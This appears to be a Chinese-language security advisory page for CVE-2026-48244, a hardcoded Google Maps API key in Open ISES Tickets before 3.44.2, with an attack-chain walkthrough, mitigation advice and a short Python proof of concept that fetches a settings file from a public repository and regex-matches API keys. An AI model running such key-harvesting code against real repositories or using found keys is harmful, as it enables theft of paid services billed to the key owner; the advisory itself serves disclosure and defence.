IPBUF安全漏洞报告
English
CVE-2026-48244 CVSS 5.3 中危

CVE-2026-48244 Open ISES Tickets硬编码API密钥漏洞

披露日期: 2026-05-21

漏洞信息

漏洞编号
CVE-2026-48244
漏洞类型
敏感信息泄露
CVSS评分
5.3 中危
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
Open ISES Tickets

相关标签

敏感信息泄露硬编码凭证Open ISES TicketsAPI Key

漏洞概述

Open ISES Tickets 在 3.44.2 之前的版本中存在安全隐患。该产品的 `settings.inc.php` 文件中硬编码了一个 Google Maps API 密钥,并且该文件被提交到了公共源代码仓库中。由于密钥是以明文形式存储的,任何拥有源代码读取权限的人都可以提取该密钥。攻击者可以利用获取到的密钥发起 Google Maps Platform 请求,导致相关的费用由原所有者的 Google Cloud 项目承担,造成经济损失。

技术细节

该漏洞属于典型的硬编码凭证问题。在 Open ISES Tickets 受影响版本的源代码中,开发者将 Google Maps API 密钥直接写入了 `settings.inc.php` 配置文件。由于该文件被意外提交至公开的版本控制系统(如 GitHub),导致密钥暴露在公网环境中。攻击者无需任何特权或用户交互,只需访问公共代码库即可获取该密钥。获取密钥后,攻击者可以将其用于调用 Google Maps 的各项服务(如地图渲染、地理编码等)。由于 API 请求验证仅依赖于密钥的有效性,Google 无法区分请求是由合法应用发起还是由第三方恶意发起,因此产生的所有流量和费用均会由密钥持有者承担。

攻击链分析

STEP 1
侦察
攻击者识别目标使用的 Open ISES Tickets 版本,并定位其公开的源代码仓库。
STEP 2
访问资源
攻击者克隆或直接在线浏览公共源代码仓库,获取项目文件。
STEP 3
信息提取
攻击者打开 `settings.inc.php` 文件,搜索并提取硬编码的 Google Maps API 密钥。
STEP 4
利用
攻击者使用提取到的密钥向 Google Maps API 发送请求,消耗原账户的配额或产生费用。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
# Proof of Concept: Extract Hardcoded API Key from Public Repo import re import requests # Target raw file URL (example based on vulnerability description) url = "https://raw.githubusercontent.com/openises/tickets/master/settings.inc.php" try: response = requests.get(url) if response.status_code == 200: content = response.text # Regex pattern to identify Google Maps API Keys pattern = r'AIza[A-Za-z0-9\-_]{35}' keys = re.findall(pattern, content) if keys: print(f"[+] Found Hardcoded API Key: {keys[0]}") else: print("[-] No API Key found in the file.") else: print(f"[-] Failed to fetch file. Status code: {response.status_code}") except Exception as e: print(f"Error: {e}")

影响范围

Open ISES Tickets < 3.44.2

防御指南

临时缓解措施
建议立即升级到 Open ISES Tickets 3.44.2 或更高版本以修复此漏洞。同时,务必检查 Google Cloud Console,撤销可能已泄露的 API 密钥,并重新生成新的密钥。在未来的开发中,应使用环境变量或安全的密钥管理服务来存储敏感凭证,并确保配置文件不被提交到公共代码仓库。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表